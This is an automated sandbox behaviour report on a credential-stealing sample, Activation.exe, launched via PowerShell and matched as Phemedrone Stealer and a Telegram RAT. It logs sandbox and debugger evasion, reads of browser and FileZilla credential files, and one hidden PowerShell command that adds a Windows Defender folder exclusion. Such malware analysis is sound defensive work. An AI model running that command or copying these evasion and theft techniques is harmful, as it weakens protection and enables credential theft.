Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep count: 6788 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7604	Thread sleep count: 2890 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598446s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597344s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -597016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -596469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -596346s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe TID: 8144	Thread sleep time: -567180s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Activation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598446	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596346	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Thread delayed: delay time: 567180	Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: Amcache.hve.9.dr	Binary or memory string: VMware-42 27 b7 a3 1e b0 86 f3-0a fe 06 07 d0 80 07 92
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: powershell.exe, 00000000.00000002.1550038503.000001EF1F23C000.00000004.00000020.00020000.00000000.sdmp, Activation.exe, 00000005.00000002.1957269528.0000000001284000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000000.00000002.1550038503.000001EF1F23C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Activation.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Activation.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Activation.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Activation.exe "C:\Users\user\AppData\Local\Activation.exe"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Activation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\AppData\Local\Activation.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Generic Stealer

Source: Yara match	File source: 00000005.00000002.1966509817.0000000004420000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004444000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004652000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.00000000044BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004819000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Activation.exe PID: 7808, type: MEMORYSTR

Yara detected Phemedrone Stealer

Source: Yara match	File source: 00000005.00000002.1962005815.0000000003554000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004420000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.000000000356B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004444000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004652000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.00000000044BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004819000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Activation.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Users\user\AppData\Local\Activation.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml			Jump to behavior

Remote Access Functionality

Yara detected Generic Stealer

Source: Yara match	File source: 00000005.00000002.1966509817.0000000004420000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1966509817.0000000004444000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
